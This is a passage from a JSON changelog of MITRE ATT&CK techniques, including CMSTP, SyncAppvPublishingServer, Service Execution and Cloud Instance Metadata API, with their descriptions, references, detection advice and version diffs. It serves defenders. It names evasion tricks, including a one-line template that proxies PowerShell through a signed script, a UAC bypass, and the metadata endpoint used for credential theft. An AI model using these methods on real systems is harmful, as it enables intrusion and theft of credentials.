"source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "Schneider Electric USB Malware", + "description": "Schneider Electric. (2018, August 24). Security Notification \u2013 USB Removable Media Provided With Conext Combox and Conext Battery Monitor. Retrieved May 28, 2019.", + "url": "https://www.se.com/us/en/download/document/SESN-2018-236-01/" + }, + { + "source_name": "Trendmicro NPM Compromise", + "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.", + "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets" + }, + { + "source_name": "Microsoft Dofoil 2018", + "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Veeral Patel" + ], + "x_mitre_data_sources": [ + "Sensor Health: Host Status", + "File: File Metadata" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-04 11:17:00.778000+00:00\", \"old_value\": \"2024-02-26 14:23:37.009000+00:00\"}, \"root['external_references'][5]['url']\": {\"new_value\": \"https://www.se.com/us/en/download/document/SESN-2018-236-01/\", \"old_value\": \"https://www.se.com/ww/en/download/document/SESN-2018-236-01/\"}}}", + "previous_version": "1.6", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance", + "M1016: Vulnerability Scanning", + "M1033: Limit Software Installation", + "M1046: Boot Integrity", + "M1051: Update Software" + ], + "new": [ + "M1018: User Account Management" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0013: Sensor Health (Host Status)", + "DS0022: File (File Metadata)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-23 18:27:30.656000+00:00", + "modified": "2024-09-12 19:35:43.077000+00:00", + "name": "CMSTP", + "description": "Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1218/003", + "external_id": "T1218.003" + }, + { + "source_name": "Twitter CMSTP Usage Jan 2018", + "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved September 12, 2024.", + "url": "https://x.com/ItsReallyNick/status/958789644165894146" + }, + { + "source_name": "Microsoft Connection Manager Oct 2009", + "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.", + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)" + }, + { + "source_name": "MSitPros CMSTP Aug 2017", + "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.", + "url": "https://msitpros.com/?p=3960" + }, + { + "source_name": "GitHub Ultimate AppLocker Bypass List", + "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.", + "url": "https://github.com/api0cradle/UltimateAppLockerByPassList" + }, + { + "source_name": "Endurant CMSTP July 2018", + "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.", + "url": "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/" + }, + { + "source_name": "Twitter CMSTP Jan 2018", + "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved September 12, 2024.", + "url": "https://x.com/NickTyrer/status/958450014111633408" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Nik Seetharaman, Palantir", + "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Application control" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:35:43.077000+00:00\", \"old_value\": \"2023-04-21 12:24:13.666000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved September 12, 2024.\", \"old_value\": \"Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://x.com/ItsReallyNick/status/958789644165894146\", \"old_value\": \"https://twitter.com/ItsReallyNick/status/958789644165894146\"}, \"root['external_references'][6]['description']\": {\"new_value\": \"Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved September 12, 2024.\", \"old_value\": \"Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.\"}, \"root['external_references'][6]['url']\": {\"new_value\": \"https://x.com/NickTyrer/status/958450014111633408\", \"old_value\": \"https://twitter.com/NickTyrer/status/958450014111633408\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0029: Network Traffic (Network Connection Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:04.307000+00:00", + "modified": "2024-10-15 16:42:22.247000+00:00", + "name": "System Information Discovery", + "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1082", + "external_id": "T1082" + }, + { + "source_name": "Amazon Describe Instance", + "description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.", + "url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html" + }, + { + "source_name": "Google Instances Resource", + "description": "Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020.", + "url": "https://cloud.google.com/compute/docs/reference/rest/v1/instances" + }, + { + "source_name": "Microsoft Virutal Machine API", + "description": "Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019.", + "url": "https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get" + }, + { + "source_name": "20 macOS Common Tools and Techniques", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/" + }, + { + "source_name": "OSX.FairyTale", + "description": "Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021.", + "url": "https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/" + }, + { + "source_name": "US-CERT-TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Maril Vernon @shewhohacks", + "Praetorian", + "Austin Clark, @c2defense" + ], + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather detailed system information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nIn cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS", + "Network" + ], + "x_mitre_version": "2.5", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:42:22.247000+00:00\", \"old_value\": \"2023-03-30 21:01:40.871000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "2.5", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e6f19759-dde3-47fc-99cc-d9f5fa4ade60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-02-06 16:20:41.647000+00:00", + "modified": "2024-09-12 19:42:21.547000+00:00", + "name": "SyncAppvPublishingServer", + "description": "Adversaries may abuse SyncAppvPublishingServer.vbs to proxy execution of malicious [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands. SyncAppvPublishingServer.vbs is a Visual Basic script associated with how Windows virtualizes applications (Microsoft Application Virtualization, or App-V).(Citation: 1 - appv) For example, Windows may render Win32 applications to users as virtual applications, allowing users to launch and interact with them as if they were installed locally.(Citation: 2 - appv)(Citation: 3 - appv)\n \nThe SyncAppvPublishingServer.vbs script is legitimate, may be signed by Microsoft, and is commonly executed from `\\System32` through the command line via `wscript.exe`.(Citation: 4 - appv)(Citation: 5 - appv)\n\nAdversaries may abuse SyncAppvPublishingServer.vbs to bypass [PowerShell](https://attack.mitre.org/techniques/T1059/001) execution restrictions and evade defensive counter measures by \"living off the land.\"(Citation: 6 - appv)(Citation: 4 - appv) Proxying execution may function as a trusted/signed alternative to directly invoking `powershell.exe`.(Citation: 7 - appv)\n\nFor example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands may be invoked using:(Citation: 5 - appv)\n\n`SyncAppvPublishingServer.vbs \"n; {PowerShell}\"`", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1216/002", + "external_id": "T1216.002" + }, + { + "source_name": "4 - appv", + "description": "John Fokker. (2022, March 17). Suspected DarkHotel APT activity update. Retrieved February 6, 2024.", + "url": "https://www.trellix.com/en-ca/about/newsroom/stories/research/suspected-darkhotel-apt-activity-update/" + }, + { + "source_name": "2 - appv", + "description": "Microsoft. (2022, November 3). Getting started with App-V for Windows client. Retrieved February 6, 2024.", + "url": "https://learn.microsoft.com/en-us/windows/application-management/app-v/appv-getting-started" + }, + { + "source_name": "5 - appv", + "description": "Nick Landers, Casey Smith. (n.d.). /Syncappvpublishingserver.vbs. Retrieved February 6, 2024.", + "url": "https://lolbas-project.github.io/lolbas/Scripts/Syncappvpublishingserver/" + }, + { + "source_name": "7 - appv", + "description": "Nick Landers. (2017, August 8). Need a signed alternative to Powershell.exe? SyncAppvPublishingServer in Win10 has got you covered.. Retrieved September 12, 2024.", + "url": "https://x.com/monoxgas/status/895045566090010624" + }, + { + "source_name": "3 - appv", + "description": "Raj Chandel. (2022, March 17). Indirect Command Execution: Defense Evasion (T1202). Retrieved February 6, 2024.", + "url": "https://www.hackingarticles.in/indirect-command-execution-defense-evasion-t1202/" + }, + { + "source_name": "1 - appv", + "description": "SEONGSU PARK. (2022, December 27). BlueNoroff introduces new methods bypassing MoTW. Retrieved February 6, 2024.", + "url": "https://securelist.com/bluenoroff-methods-bypass-motw/108383/" + }, + { + "source_name": "6 - appv", + "description": "Strontic. (n.d.). SyncAppvPublishingServer.exe. Retrieved February 6, 2024.", + "url": "https://strontic.github.io/xcyclopedia/library/SyncAppvPublishingServer.exe-3C291419F60CDF9C2E4E19AD89944FA3.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Shaul Vilkomir-Preisman" + ], + "x_mitre_data_sources": [ + "Script: Script Execution", + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:42:21.547000+00:00\", \"old_value\": \"2024-04-18 23:51:40.464000+00:00\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"Nick Landers. (2017, August 8). Need a signed alternative to Powershell.exe? SyncAppvPublishingServer in Win10 has got you covered.. Retrieved September 12, 2024.\", \"old_value\": \"Nick Landers. (2017, August 8). Need a signed alternative to Powershell.exe? SyncAppvPublishingServer in Win10 has got you covered.. Retrieved February 6, 2024.\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://x.com/monoxgas/status/895045566090010624\", \"old_value\": \"https://twitter.com/monoxgas/status/895045566090010624\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-10 18:33:36.159000+00:00", + "modified": "2024-10-15 16:41:40.247000+00:00", + "name": "Service Execution", + "description": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1569/002", + "external_id": "T1569.002" + }, + { + "source_name": "Microsoft Service Control Manager", + "description": "Microsoft. (2018, May 31). Service Control Manager. Retrieved March 28, 2020.", + "url": "https://docs.microsoft.com/windows/win32/services/service-control-manager" + }, + { + "source_name": "Russinovich Sysinternals", + "description": "Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "Network Traffic: Network Traffic Flow", + "Service: Service Creation", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Changes to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_remote_support": true, + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:41:40.247000+00:00\", \"old_value\": \"2023-08-14 15:53:00.999000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1026: Privileged Account Management", + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:47:46.619000+00:00", + "modified": "2024-10-15 16:24:20.219000+00:00", + "name": "Cloud Instance Metadata API", + "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1552/005", + "external_id": "T1552.005" + }, + { + "source_name": "AWS Instance Metadata API", + "description": "AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019.", + "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html" + }, + { + "source_name": "RedLock Instance Metadata API 2018", + "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.", + "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse" + }, + { + "source_name": "Krebs Capital One August 2019", + "description": "Krebs, B.. (2019, August 19). What We Can Learn from the Capital One Hack. Retrieved March 25, 2020.", + "url": "https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_data_sources": [ + "User Account: User Account Authentication" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor access to the Instance Metadata API and look for anomalous queries.\n\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:24:20.219000+00:00\", \"old_value\": \"2023-03-21 13:56:27.910000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1035: Limit Access to Resource Over Network", + "M1037: Filter Network Traffic", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Authentication)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-31 14:01:52.321000+00:00", + "modified": "2024-10-15 16:25:28.820000+00:00", + "name": "Container API", + "description": "Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)\n\nAn adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1552/007", + "external_id": "T1552.007" + }, + { + "source_name": "Unit 42 Unsecured Docker Daemons", + "description": "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.", + "url": "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/" + }, + { + "source_name": "Docker API", + "description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.", + "url": "https://docs.docker.com/engine/api/v1.41/" + }, + { + "source_name": "Kubernetes API", + "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.", + "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)", + "Jay Chen, Palo Alto Networks", + "Yossi Weizman, Azure Defender Research Team" + ], + "x_mitre_data_sources": [ + "User Account: User Account Authentication", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs.\n\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:25:28.820000+00:00\", \"old_value\": \"2023-04-15 16:11:25.409000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1030: Network Segmentation", + "M1035: Limit Access to Resource Over Network" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Authentication)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": 